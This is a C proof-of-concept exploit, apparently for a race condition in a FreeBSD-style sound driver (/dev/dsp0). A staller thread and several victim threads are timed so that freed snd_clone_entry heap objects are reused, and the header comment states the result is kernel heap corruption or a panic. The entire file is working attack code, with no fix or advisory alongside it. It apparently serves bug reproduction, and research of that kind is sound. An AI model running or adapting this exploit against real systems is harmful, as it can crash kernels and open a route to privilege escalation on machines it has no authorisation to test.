/*
 * DF-4634 race PoC v2 - multi-victim amplification.
 *
 * K victims trapped per stall; staller's dsp_close gc() frees ALL their
 * entries at once; victims then wake one by one: victim #1's own
 * dsp_cdevinfo_alloc() (48 bytes -> same 64-byte M_DEVBUF bucket as
 * struct snd_clone_entry) recycles victim #2's freed entry; victim #2's
 * snd_clone_acquire()/snd_clone_ref() then read/write through the cdi:
 *   ce->flags @48  (di == cd"ce"->parent = cdi->rdch -> ++(pcm_channel*)->field)
 * => kernel heap corruption / panic.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <sys/time.h>

#define DEV "/dev/dsp0"
#define KV 4

static long ms(struct timeval *a, struct timeval *b){
  return (b->tv_sec-a->tv_sec)*1000+(b->tv_usec-a->tv_usec)/1000;
}

struct vinfo { pthread_t th; struct timeval t0, t1; int fd; int idx; };

static void *victim_fn(void *arg){
  struct vinfo *v = arg;
  gettimeofday(&v->t0, NULL);
  v->fd = open(DEV, O_WRONLY);
  gettimeofday(&v->t1, NULL);
  if (v->fd >= 0) {
    char b[64]; memset(b, 0x80, sizeof b);
    write(v->fd, b, sizeof b);
    close(v->fd);   /* will also run through freed entry if pruned */
    v->fd = -1;
  }
  return NULL;
}

int main(int argc, char **argv){
  int rounds = argc>1 ? atoi(argv[1]) : 400;
  srandom(getpid());
  char buf[4096]; memset(buf, 0x80, sizeof buf);
  int trapped = 0;

  for (int r = 0; r < rounds; r++) {
    int fd = open(DEV, O_WRONLY);
    if (fd < 0) { perror("staller open"); return 1; }
    int fmt=AFMT_U8, speed=8000, ch=1, frag=0x0003000C; /* 3*4096=12KB=1.5s */
    ioctl(fd, SNDCTL_DSP_SETFMT, &fmt);
    ioctl(fd, SNDCTL_DSP_CHANNELS, &ch);
    ioctl(fd, SNDCTL_DSP_SPEED, &speed);
    ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &frag);
    long wr = 0;
    while (wr < 65536) {
      ssize_t n = write(fd, buf, sizeof buf);
      if (n <= 0) break;
      wr += n;
    }

    struct vinfo vs[KV];
    for (int i = 0; i < KV; i++) {
      vs[i].idx = i; vs[i].fd = -2;
      pthread_create(&vs[i].th, NULL, victim_fn, &vs[i]);
      usleep(150 + random() % 250);
    }
    usleep(random() % 400);
    struct timeval tc0, tc1;
    gettimeofday(&tc0, NULL);
    close(fd);
    gettimeofday(&tc1, NULL);
    for (int i = 0; i < KV; i++) pthread_join(vs[i].th, NULL);

    long close_ms = ms(&tc0, &tc1);
    int tr = 0;
    for (int i = 0; i < KV; i++)
      if (ms(&vs[i].t0, &vs[i].t1) > 1000) tr++;
    if (close_ms > 1000) trapped += tr;
    if (r % 20 == 0 || tr == KV)
      fprintf(stderr, "round %4d close=%5ldms trapped=%d/%d\n",
              r, close_ms, tr, KV);
    fflush(stderr);
  }
  printf("done: %d rounds, victim-traps=%d\n", rounds, trapped);
  return 0;
}
